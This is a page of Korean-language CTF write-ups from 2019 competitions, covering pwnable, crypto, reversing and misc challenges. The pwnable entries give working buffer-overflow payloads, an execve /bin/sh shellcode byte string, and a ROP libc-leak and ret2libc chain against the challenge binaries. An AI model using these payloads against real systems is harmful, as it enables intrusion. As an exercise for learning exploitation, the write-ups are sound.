Description

Category: Pwnable

Source: TokyoWesterns CTF 5th 2019

Points: 82

Author: Jisoon Park(js00n.park)

Description:

Japan is fucking hot.

nc nothing.chal.ctf.westerns.tokyo 10001

warmup.c
warmup

Write-up

바이너리와 더불어 친절하게 소스코드 주어지는데, canary/NX/PIE가 모두 걸려있지 않다고 하며 ROP와 x64 shellcode를 이용해서 문제를 풀 수 있다고 안내까지 해준다.

문제를 보면 0x100 바이트 크기의 buf에 gets()를 이용해서 무한한 길이의 bof를 가능하게 해주었고, printf()를 이용해서 무쓸모지만 fsb도 할 수 있는 여지를 주었다.

메모리맵을 살펴보면 0x601000 번지와 stack 영역이 rwxp로 지정되어 있는 것을 확인할 수 있다. 둘 중 아무 곳에 shellcode를 넣은 후 이쪽으로 jump 시키면 될 것 같다.

r.recvuntil(":)\n")

payload = "A" * 0x100
payload += p64(0x601a00)
payload += p64(0x4006db)

r.sendline(payload)

이왕이면 딱 주소값이 고정되어 있는 곳을 이용해보자. rbp를 rwx 영역 중 적당한 곳으로 옮긴 후 main 함수의 proglouge 다음 부분으로 복귀하면 gets() 함수를 이용해 rbp를 기준으로 shell code를 원하는 주소에 적을 수 있다.

두번째 실행에서 shell code를 적어놓은 주소로 return 하도록 하면 shell code가 실행되어 shell을 얻을 수 있다. (코드)

sc = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = "A" * 0x100 + "B" * 8
payload += p64(0x601a10)
payload += sc

r.sendline(payload)

Flag : TWCTF{AAAATsumori---Shitureishimashita.}

'writeups > Pwnable' 카테고리의 다른 글

Not So Easy B0f  (0) 2019.11.26
2 small 2 Pwn  (0) 2019.11.26
speedrun-002  (0) 2019.11.26
horcruxes  (0) 2019.11.26
shellql  (0) 2019.11.26

Description

Category: Crypto

Source: HackCON CTF 2019

Points: 198

Author: Jisoon Park(js00n.park)

Description:

I was told Vigenère Cipher is secure as long as length(key) == length(message). So I did just that!

Break this: g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi

Write-up

Vigenère Cipher 문제이고, key와 plaintext의 길이가 같다고 한다.

이 경우, plaintext의 각 byte마다 서로 다른 key가 독립적으로 사용되기 때문에 key를 알아낼 수가 없다.

현 상태에서 알 수 있는 것은 flag format인 "d4rk{flag_text}c0de" 밖에 없으니, 일단 알 수 있는 부분이라도 key를 찾아보자.

import string

ct = "g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi"

pt = "d4rk{aaaaaaaaaaaaaaaaaaaaaaa}c0de"

r = ""
for c, p in zip(ct, pt):
    if c in string.lowercase:
        c_idx = string.lowercase.find(c)
        p_idx = string.lowercase.find(p)
        r += string.lowercase[(c_idx - p_idx) % 26]
    else:
        r += c
print r

알려진 부분에 대한 key를 구해보았더니 flag format이 그대로 나왔다.

주어진 암호문이 flag를 flag로 암호화 한 것임을 유추해 볼 수 있다.

flag string 부분도 구해 보자.

Vigenère Cipher에서 임의의 문자 c를 c로 암호화 하게 되면 index가 두 배가 되어 2의 배수 번째에 있는 문자들만 암호문으로 나오게 된다.

26개의 영문자가 13개로 대응되게 되니, 암호문을 이루는 하나의 글자는 각각 두 개의 평문 문자 중의 하나로 복호화 될 수 있게 된다.

이 대응 관계를 dict로 만들어 보자.

d = dict()
for i in range(26):
    k = string.lowercase[i * 2 % 26]
    if k in d:
        d[k] = d[k] + string.lowercase[i]
    else:
        d[k] = string.lowercase[i]

print d

이제 평문을 복호화 하기 위해서는 가능한 구성 중에 의미 있는 단어로 구성된 flag를 찾아내야 한다.

가능한 조합 중에서 영단어에 존재하는 단어들만 뽑아내보자. (코드)

찾아진 후보 단어들을 조합하여 아래와 같은 flag를 만들 수 있었다.

Flag : d4rk{how_uncreative_is_that!}c0de

'writeups > Crypto' 카테고리의 다른 글

real-baby-rsa  (0) 2019.11.26
OTP  (0) 2019.11.26
Ez Pz  (0) 2019.11.26
R u SAd  (0) 2019.11.26
Ezdsa  (0) 2019.11.26

Description

Category: Crypto

Source: HackCON CTF 2019

Points: 484

Author: Jisoon Park(js00n.park)

Description:

easiest crypto points ever

nc 68.183.158.95 7777

Write-up

별달리 주어지는 첨부파일도 없고, 일단 주어진 서비스로 접속해 보자.

뭔지 모를 값을 던져주는데, 암호문인가 싶어서 Decrypt 메뉴로 복호화를 시도해 보았더니 복호화를 거부했다. 되겠냐..

암호 체계에 대한 정보도 전혀 주어지질 않아서 그냥 textbook RSA라고 가정하고 "01"을 전송해 보았더니 1이 돌아오는데 아마 맞지 싶다.

문제에서 주어진 암호문만 아니면 임의의 데이터에 대해 암/복호화를 모두 해주는 것 같으니, RSA의 multiplicative 성질을 이용해서 flag를 찾아보자.

우선, "02"를 보내어 2에 대한 암호문인 2e mod n 값을 획득한다.

그런 다음 문제에서 주어진 암호문과 곱한 후 복호화 하면 2 * flag를 얻을 수 있다.

  • ((2e mod n) * (flage mod n))d mod n
  • = (2e * flage mod n)d mod n
  • = ((2 * flag)e mod n)d mod n
  • = (2 * flag)ed mod n
  • = (2 * flag) mod n

얻어낸 값을 2로 나눈 후 문자열로 decoding 해보면 flag를 얻을 수 있다. (코드)

Flag : d4rk{th3_ch33si3st_m4th_p1zz4_f0r_d1nn3r!}c0de

'writeups > Crypto' 카테고리의 다른 글

OTP  (0) 2019.11.26
Noki  (0) 2019.11.26
R u SAd  (0) 2019.11.26
Ezdsa  (0) 2019.11.26
Open-gyckel-krypto  (0) 2019.11.26

Description

Category: Reversing

Source: TokyoWesterns CTF 5th 2019

Points: 94

Author: Jisoon Park(js00n.park)

Description:

Cracking is easy for you.

easy_crack_me

Write-up

바이너리 하나를 던져주는데, 간단히 실행해보면 incorret라는 메세지를 던져준다. correct한 값을 찾으면 될 것 같다.

바이너리를 decompile 해보면 커다란 main 함수가 존재하는데 그 안에서 여러가지 체크를 하고 있다. 하나씩 알아보자.

if ( strlen(a2[1]) != 39 )
{
  puts("incorrect");
  exit(0);
}
if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != 125 )
{
  puts("incorrect");
  exit(0);
}

입력값의 길이와 flag 형식에 맞는지를 검사하는 부분이다. flalg format 부분을 제외하면 총 32글자임을 알 수 있다.

v46 = '76543210';
v47 = 'fedcba98';
for ( i = 0; i <= 15; ++i )
{
  for ( j = strchr(s, *((char *)&v46 + i)); j; j = strchr(j + 1, *((char *)&v46 + i)) )
    ++*((_DWORD *)&s1 + i);
}
if ( memcmp(&s1, &unk_400F00, 0x40uLL) )
{
  puts("incorrect");
  exit(0);
}

hex 표현에 맞는 문자가 각각 몇 개씩 있는지 확인하는 부분이다. 0x400f00 번지에 있는 메모리를 확인해보면 모두 합쳐서 32글자임을 알 수 있다. flag가 hex digit으로만 구성되어 있나보다.

v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
for ( k = 0; k <= 7; ++k )
{
  v10 = 0;
  v11 = 0;
  for ( l = 0; l <= 3; ++l )
  {
    v5 = s[4 * k + 6 + l];
    v10 += v5;
    v11 ^= v5;
  }
  *((_DWORD *)&v21 + k) = v10;
  *((_DWORD *)&v25 + k) = v11;
}
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
for ( m = 0; m <= 7; ++m )
{
  v14 = 0;
  v15 = 0;
  for ( n = 0; n <= 3; ++n )
  {
    v6 = s[8 * n + 6 + m];
    v14 += v6;
    v15 ^= v6;
  }
  *((_DWORD *)&v29 + m) = v14;
  *((_DWORD *)&v33 + m) = v15;
}
if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )
{
  puts("incorrect");
  exit(0);
}
if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )
{
  puts("incorrect");
  exit(0);
}

여기서는 두 가지를 확인하는데, 4바이트씩 그룹을 만들어서 각 그룹 안의 byte 값을을 더한 결과와 xor한 결과를 미리 정의된 값과 동일한지 확인하는 과정과 8 byte씩 건너뛰면서 4 byte를 모아 그 값들을 더한 결과와 xor한 결과를 또다른 미리 정의된 값과 동일한지 확인하는 과정이다.

memset(v45, 0, sizeof(v45));
for ( ii = 0; ii <= 31; ++ii )
{
  v7 = s[ii + 6];
  if ( v7 <= 47 || v7 > 57 )
  {
    if ( v7 <= 96 || v7 > 102 )
      v45[ii] = 0;
    else
      v45[ii] = 128;
  }
  else
  {
    v45[ii] = 255;
  }
}
if ( memcmp(v45, &unk_400FC0, 0x80uLL) )
{
  puts("incorrect");
  exit(0);
}

32 byte 각 글자가 a~f 중의 하나인지, 아니면 0~9 중의 하나인지 확인하는 부분이다. 0x400fc0에 존재하는 array를 통해 flag의 각 글자가 숫자인지 문자인지 확인할 수 있다. 숫자 또는 a~f 중 하나의 문자가 아닌 경우 0이 되도록 하고 있는데, 0x400fc0 번지의 array를 확인해보면 역시나 0은 없다.

v18 = 0;
for ( jj = 0; jj <= 15; ++jj )
  v18 += s[2 * (jj + 3)];
if ( v18 != 1160 )
{
  puts("incorrect");
  exit(0);
}

flag의 짝수번째 문자들의 합이 1160인지 확인하는 부분이다.

if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 )
{
  puts("incorrect");
  exit(0);
}
printf("Correct: %s\n", s, a2);

flag 중의 6글자를 직접적으로 알려주는 부분이다. 여기까지의 checkf를 지나면 Correct라는 메세지를 출력한다.

위의 조건들을 모두 만족시키는 입력값을 찾아보자. 처음에는 자세히 보지 않고 angr를 이용해 보려고 했는데 한참이 지나도 적절한 입력값을 찾지 못해서 직접 decompile하여 위의 내용을 확인하고 코딩을 시도했다. ㅜㅠ (코드)

코딩을 하다가 뭔가 조건을 빼먹었는지, 조건에 맞는 값이 800여 개 정도 찾아졌는데, 몇개 안되는 정도라 실제로 실행시켜보고 correct가 출력되는 값을 찾았다. (코드)

Flag : TWCTF{df2b4877e71bd91c02f8ef6004b584a5}

'writeups > Reversing' 카테고리의 다른 글

i can count  (0) 2019.11.26
Elementary  (0) 2019.11.26
ELF Crumble  (0) 2019.11.26
Super Secure Vault  (0) 2019.11.26
Feed_me  (0) 2019.11.25

Description

Category: Pwnable

Source: HackCON CTF 2019

Points: 469

Author: Jisoon Park(js00n.park)

Description:

I just read and write , Can you still Pwn me ?

Service is running at nc 68.183.158.95 8992

Download: q4

Write-up

1KB도 안되는 크기의 바이너리가 주어지는데, disassemble을 해보면 거의 main 함수밖에 없고 shared library도 사용하지 않아서 ROP를 할만한 gadget이 보이지 않는다.
(주어진 원본 바이너리에서는 sys_read를 위한 fd가 1로 되어있어서 입력을 줄 수 없었는데, 서버에서 동작하는 바이너리를 보니 입력을 받는 것 같아서 binary patch를 통해 fd를 0으로 수정하였다.)

.text:00000000004000BF ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004000BF main            proc near               ; CODE XREF: _start↑p
.text:00000000004000BF                 push    rbp
.text:00000000004000C0                 mov     rbp, rsp
.text:00000000004000C3                 sub     rsp, 10h
.text:00000000004000C7                 mov     eax, 0
.text:00000000004000CC                 mov     edi, 0          ; fd
.text:00000000004000D1                 mov     rsi, rbp
.text:00000000004000D4                 sub     rsi, 10h        ; buf
.text:00000000004000D8                 mov     edx, 0A0h       ; count
.text:00000000004000DD                 syscall                 ; LINUX - sys_read
.text:00000000004000DF                 mov     eax, 1
.text:00000000004000E4                 push    1
.text:00000000004000E6                 pop     rdi             ; fd
.text:00000000004000E7                 syscall                 ; LINUX - sys_write
.text:00000000004000E9                 leave
.text:00000000004000EA                 retn
.text:00000000004000EA main            endp

checksec을 해보면 RWX를 할 수 있는 영역이 존재하는 것을 알 수 있는데, shell code를 올릴 수 있는 방법이 있을지 생각해 봐아 할 것 같다.

바이너리를 실행시키고 메모리맵을 보면 0x600000 번지에 0x1000 크기의 RWX 영역이 존재하는 것을 볼 수 있다.

RWX에 shellcode를 써주고 rbp와 rsp를 모두 이쪽으로 옮겨보자.

sys_read의 대상이 되는 buffer가 rbp - 0x10 주소로 지정되기 때문에 RWX 영역에 shellcode를 쓰기 위해서는 rbp를 먼저 옮겨야 한다. (rsi를 쓸 수 있는 적당한 gadget이 있으면 좋을 텐데 그런거 없다..)

간단히 bof를 이용하여 rbp가 RWX 영역을 가리키도록 한 후 다시 main 함수로 복귀하여 sys_read를 호출하면 RWX 영역에 shellcode를 쓸 수 있다.
rbp를 변조했기 때문에 main 함수로 복귀할 때는 prologue 이후의 주소로 돌아가면 된다.

두 번째 main 함수의 실행 후에는 RWX 영역에 지정해줬던 rbp로부터 pop이 진행되기 때문에 RWX 영역의 rbp 다음의 return address 부분 이후에 shellcode를 써주고 return address 부분에 shellcode가 들어간 주소를 써주면 shellcode가 실행되면서 shell을 획득할 수 있다. (코드)

Flag : d4rk{5uch_R0P_MuCh_W0W}c0de

'writeups > Pwnable' 카테고리의 다른 글

Not So Easy B0f  (0) 2019.11.26
nothing more to say  (0) 2019.11.26
speedrun-002  (0) 2019.11.26
horcruxes  (0) 2019.11.26
shellql  (0) 2019.11.26

Description

Category: Pwnable

Source: DEFCON CTF 2019 Qulas.

Points: 5

Author: Jisoon Park(js00n.park)

Description:

2 Fast 2 Furious

speedrun-002.quals2019.oooverflow.io 31337

Files: speedrun-002

Write-up

주어진 파일을 decompile 한 후 main() 함수부터 살펴보자. (함수 이름은 직접 지정하였다.)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  if ( !getenv("DEBUG") )
    alarm(5u);
  welcome();
  attackme();
  bye();
  return 0LL;
}

int welcome()
{
  return puts("We meet again on these pwning streets.");
}

int attackme()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-590h]
  char v2; // [rsp+190h] [rbp-400h]

  puts("What say you now?");
  read(0, &buf, 0x12CuLL);
  if ( !strncmp(&buf, "Everything intelligent is so boring.", 0x24uLL) )
    result = bof(&v2);
  else
    result = puts("What a ho-hum thing to say.");
  return result;
}

int bye()
{
  return puts("Fare thee well.");
}

ssize_t __fastcall bof(void *a1)
{
  puts("What an interesting thing to say.\nTell me more.");
  read(0, a1, 0x7DAuLL);
  return write(1, "Fascinating.\n", 0xDuLL);
}

attackme() 함수를 보면 처음으로 입력받은 문자열이 의도한 문자열인지 확인한 후 0x400 byte 크기를 갖는 v2 변수를 인자로 하여 bof() 함수를 호출한다.

bof() 함수는 최대 0x7da 만큼의 입력을 받으므로, 여기서 bof 취약점이 발생하는 것을 알 수 있다.

별다른 추가적인 취약점이 없는 상황에서 이 문제를 풀려면 우선 puts 함수의 존재 여부와(존재한다.) PIE가 적용되지 않아 항상 동일한 주소값이 유지되는지를 확인해봐야 한다.

다행히 PIE가 적용되지 않았다. 그렇다면 LIBC 주소를 leak 한 후, ROP(return oriented programming)을 활용한 RTL(return to LIBC) 공격이 가능하다.

간단히 objdump를 활용해서 puts의 plt 주소와 got 주소를 확인해보자.

0x4005b0 번지로 점프하면 puts를 실행할 수 있고, LIBC 상의 puts 주소는 0x60128 번지에 저장되는 것을 확인할 수 있다.

64bit 환경이니 rdi에 값을 넣어줄 수 있는 widget을 찾아보면 0x4008a3 번지에 있는 것을 알 수 있다.

이제 rbp + 8 번지에 0x4008a3, 0x60128, 0x4005b0, 0x40074c(attack() 함수의 주소)를 순서대로 넣어주면 attack() 함수의 종료 시점에서 rop chain에 따라 LIBC 상의 puts() 함수의 주소가 출력되고 (puts을 이용하여 출력하였으므로 little endian 형식으로 출력된다.) 다시 attack() 함수가 실행될 것이다.

출력된 puts() 함수의 주소의 마지막 12 bit을 확인해 보면 0x9c0인 것을 알 수 있다. (ASLR이 적용될 때 ..fff000 mask가 적용된다.)

에서 puts의 주소가 0x9c0인 64bit libc를 검색해보면 libc6_2.27-3ubuntu1_amd64를 찾을 수 있고, 이로부터 libc의 puts offset을 이용하여 libc가 로드된 주소를 계산할 수 있다.

libc 안에 "/bin/sh" 문자열도 있고, execv의 offset도 알 수 있으므로, execve("/bin/sh", 0, 0)이 실행되도록 rop chain을 작성하면 shell을 얻을 수 있다. (exploit)

(이유는 모르겠으나 system() 함수로는 shell을 얻을 수 없었다...)

Flag : **OOO{I_didn't know p1zzA places__mAde pwners.}**

'writeups > Pwnable' 카테고리의 다른 글

nothing more to say  (0) 2019.11.26
2 small 2 Pwn  (0) 2019.11.26
horcruxes  (0) 2019.11.26
shellql  (0) 2019.11.26
xor  (0) 2019.11.26

Description

Category: Misc

Source: DEFCON CTF 2019 Qulas.

Points: 110

Description:

Everything you need is in this file.

Files: redacted-puzzle.gif

Write-up

필요한 모든게 파일에 있다고 하는데 막상 열어보면 아무것도 보이지 않는다.

010editor로 살펴보면 파일 구조에는 별다른 특이사항이 없다.

인터넷에서 평범한 gif 파일들을 다운받아 헤더 부분을 비교해 보았더니 헤더의 Color Table 부분이 대부분 0x00으로 적혀있는 부분이 이상해보여 이 부분을 대충 다른 값으로 덮어 보았다.

다시 파일을 열어보았더니 움직이는 gif 파일임을 확인할 수 있었다.

각 프레임은 flag는 32 종류의 글자로 이루어져있다는 말과 함께 8각형의 임의의 꼭지점들을 이은 도형들로 이루어져 있었다.

gif 파일을 적당한 사이트에서 frame 별로 나누어 보았더니 총 35 프레임인 것을 확인할 수 있었다.

이미지가 8각형을 그린다는 점에서 각 꼭지점이 특정 bit을 나타내는 것일거라고 가정하고 각 frame에서 몇 번째 꼭지점이 선택되어 있는지 모아 보았다. (왼쪽 위 꼭지점을 0번으로 하여 시계방향으로 순서를 부여하였다.)

이미지를 파싱하여 자동으로 수집할까 생각해 보았으나 자세히보면 이미지가 조금씩 회전하고 있어서 그냥 손으로 적었다.

한 frame에서 8bit 씩 35 frame에서 총 280 bit의 데이터를 확인했는데, 이 데이터를 어떻게 flag로 바꿀 수 있을지 고민하다가, the13님의 조언에 따라 (flag가 32가지 글자로 이루어져 있으니까) 5bit씩 묶어서 flag 구성 문자열의 index로 사용해보았더니 flag를 얻을 수 있었다.(code)

(msb의 index가 0인 것으로 계산해야 제대로 된 flag를 얻을 수 있었다.)

Flag : OOO{FORCES-GOVERN+TUBE+FRUIT_GROUP=FALLREMEMBER_WEATHER}

'writeups > Coding|misc.' 카테고리의 다른 글

KNOW_YOUR_MEM  (0) 2019.11.26
Flag collision  (0) 2019.11.26
Project Eulernt  (0) 2019.11.26
Who do I trust?  (0) 2019.11.25
SQL  (0) 2019.11.25

Description

Category: Misc

Source: DEFCON CTF 2019 Qulas.

Points: 108

Description:

Find the flag page in memory, 64-bit edition. Timeouts are strict, please test locally first! There's a simplified version to help with that.

know_your_mem.quals2019.oooverflow.io 4669

Files:
Makefile
README.md
know_your_mem.c
shellcode.c
simplified.c
simplified_shellcode.so.c
topkt.py

Write-up

메모리의 임의의 주소에 숨겨진 flag를 찾는 문제이다.

Makefile과 know_your_mem.c 파일을 보면 돌아가는 구조를 파악할 수 있다.

#ifdef SIMPLIFIED
    shellcodefn shellcode = load_shellcode((argc >= 2) ? argv[1] : "./simplified_shellcode.so");
    //system("cat /proc/$PPID/maps");
#else
    shellcodefn shellcode = load_shellcode();
#endif


#ifdef SIMPLIFIED
    void *secret_addr =
#endif
        put_secret_somewhere_in_memory();
    put_fakes_in_memory();


    fflush(NULL);
    filter_syscalls();
    void *found = shellcode();
    fprintf(stderr, "[*] Your shellcode returned %p\n", found);

#ifdef SIMPLIFIED
    if (got_alarm)
        fprintf(stderr, "[W] Your solution took too long! Try adjusting it a bit. It should comfortably fit in the time limit.\n");
    if (secret_addr == found) {
        fprintf(stderr, "[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.\n");
        return 0;
    } else {
        fprintf(stderr, "[!] Sorry, you didn't find the secret address.\n");
        return 1;
    }
#endif

먼저 shell code를 읽어오고, 메모리의 임의의 주소에 flag과 fake 메세지들을 저장한 후 seccomp를 걸고 shell code를 수행하도록 하고 있다.

메세지가 저장되는 메모리 주소는 0x100000000000 번지부터 0x200000000000 번지까지 4096 byte 단위로 선택된다.

seccomp를 통해 read, write, map, munmap, mprotect 등의 system call만 수행할 수 있도록 제한되기 때문에 process의 memory map을 참조할 수는 없다.

10초의 timeout과 CPU 사용량 제한이 걸려있기 때문에 4096 byte씩 순차적으로 탐색하는 방법은 사용할 수 없으므로, 최대한 빠르게 탐색할 수 있는 방법을 생각해 보자.

문제에서 메세지를 숨기기 위해 mmap으로 메모리를 할당받아 사용하고 있고, seccomp에서도 mmap과 munmap을 사용할 수 있도록 하고 있으니 이를 이용하면 될 것 같다.

먼저, mmap의 동작을 간단하게 이해할 필요가 있는데, mmap은 할당받고 싶은 메모리 공간을 지정할 수 있으나 해당 주소에 할당이 어려운 경우에는 옵션에 따라 할당에 실패하거나 지정한 주소가 아닌 다른 주소의 메모리가 할당될 수 있다.

할당 받고자 하는 메모리 공간이 이미 사용중인 경우 재할당을 받을 수 없으니, 메모리 공간을 적당히 큰 덩어리로 나누어 mmap을 시도해 보고 mmap이 실패하는 경우에 해당 공간을 쪼개가면서 mmap 할당을 반복해보면 이미 할당된 주소들을 찾아낼 수 있을 것 같다.

우선 한번에 할당받을 수 있는 메모리의 최대 크기를 찾아보면 64MB 정도인 것을 알 수 있다. 문제에서 사용하는 메모리 공간을 64MB 단위로 나누어 위의 전략대로 탐색하는 코드를 작성해보자.

쪼갠 크기가 4096 byte크기가 될때까지 탐색을 반복하다가 해당 메모리의 값이 "OOO:"로 시작하는지 확인해보면 제대로 찾았는지를 알 수 있다.

c 파일 버전으로 제대로 동작하는 것을 확인 했으면 이번에는 같은 내용을 shellcode로 작성해보자.

shellcode.c 파일에 가이드가 있는데, linux_syscall_support를 사용하면 linux 헤더파일과 libc 라이브러리 참조 없이 간단하게 system call을 byte code로 구현할 수 있다.

c로 구현했던 내용을 동일하게 작성하면서 mmap과 munmap 부분을 system call 호출로 변경하고 (shell code는 첫 instruction부터 수행되므로) start 함수가 먼저 호출되도록 flag를 추가해 주었다.

작성한 코드를 local에서 실행한 결과 정상적으로 동작함을 확인할 수 있었고, 이를 서버에 적용하여 flag를 얻어내었다.

Flag : OOO{so many bits, so many syscalls}

'writeups > Coding|misc.' 카테고리의 다른 글

REDACTED-PUZZLE  (0) 2019.11.26
Flag collision  (0) 2019.11.26
Project Eulernt  (0) 2019.11.26
Who do I trust?  (0) 2019.11.25
SQL  (0) 2019.11.25

+ Recent posts